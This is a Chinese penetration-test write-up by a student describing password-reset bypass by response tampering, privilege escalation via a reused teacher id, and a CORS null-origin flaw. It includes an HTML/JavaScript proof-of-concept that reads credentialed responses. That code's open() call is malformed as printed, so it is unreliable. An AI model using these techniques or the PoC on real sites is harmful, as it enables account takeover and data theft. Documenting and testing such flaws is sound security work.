实战渗透分享——cors泄露id导致越权

  • A+
所属分类:安全文章

高二在读

主要思路就是任意密码重置cors泄露了带有权限的id,然后修改id达到越权

0x01 信息收集

对方直接给了一个站点以及账号,子域名,随手翻了翻,发现这个站点还是个正在开发的站点,因为很多子域名都只是简单模板,无后端

打开一个发现是个登录框可以用对方所提供的账号登录上去,一般登录框我都会查看下忘记密码处有没有任意密码重置漏洞

实战渗透分享——cors泄露id导致越权

实战渗透分享——cors泄露id导致越权

资产太多就不一一截图了

0x02 进入站点

实战渗透分享——cors泄露id导致越权

实战渗透分享——cors泄露id导致越权


抓包分析一波

发现没有什么有价值的信息

实战渗透分享——cors泄露id导致越权


看一下响应包

实战渗透分享——cors泄露id导致越权

尝试更改,改成1,把msg改为空,看下页面有没有跳转

实战渗透分享——cors泄露id导致越权

实战渗透分享——cors泄露id导致越权

第一步过了

实战渗透分享——cors泄露id导致越权


0x03 绕过

可问题是改成123456还是不行,接下来尝试绕过,同样方法

实战渗透分享——cors泄露id导致越权

因为用的是学生账号,我当时搞到这一直在看有没有越权之类的,发现都没,然后又是一阵摸索,到了前台登录处继续抓包,发现老师账号比学生账号多了一个机制,老师有一串id,每个老师的权限不同id也不一样

我在想能不能在登陆处经行越权

实战渗透分享——cors泄露id导致越权

然后复制id,和参数,到学生端,登录之后发现可以越权

实战渗透分享——cors泄露id导致越权

但是我想继续获取别人的id怎么搞,接着发现登录处有个origin头部 尝试了一下null,发现可以,那么就可以经行cors资源共享,看看能不能获取到敏感信息,,因为登录页和最终请求到后端的页面不在一个页面,它后端会校验你的id值,id值来决定你的权限cors一波,本地获取一波

实战渗透分享——cors泄露id导致越权

Cors的exp如下:

<!DOCTYPE html>
<html>
<head><title>CORS</title></head>
<body>
<center>
<h2>CORs Exploit</h2>
<textarea rows="10" cols="60" id="pwnz">
</textarea><br>
<button type="button" onclick="cors()">Exploit</button>
</div>
<script>
function cors() {
  var xhttp = new XMLHttpRequest();
  xhttp.onreadystatechange = function() {
    if (this.readyState == 4 && this.status == 200) {
      document.getElementById("pwnz").innerHTML = this.responseText;
    }
  };
  xhttp.open("POST""链接地址"true);
  xhttp.withCredentials = true;
  xhttp.send();
}
</script>
实战渗透分享——cors泄露id导致越权

然后复制上去

登录成功,越权为老师

0x04 总结

这里的cors请求的是另一个accountapi接口所以当别人时我也能获取到cors

这些图都是聊天记录发的,然后二次截图打码,可能有些不全,因为现在也复现不了了,对方修了,献丑了师傅们


本文始发于微信公众号(星盟安全):实战渗透分享——cors泄露id导致越权

发表评论

:?: :razz: :sad: :evil: :!: :smile: :oops: :grin: :eek: :shock: :???: :cool: :lol: :mad: :twisted: :roll: :wink: :idea: :arrow: :neutral: :cry: :mrgreen: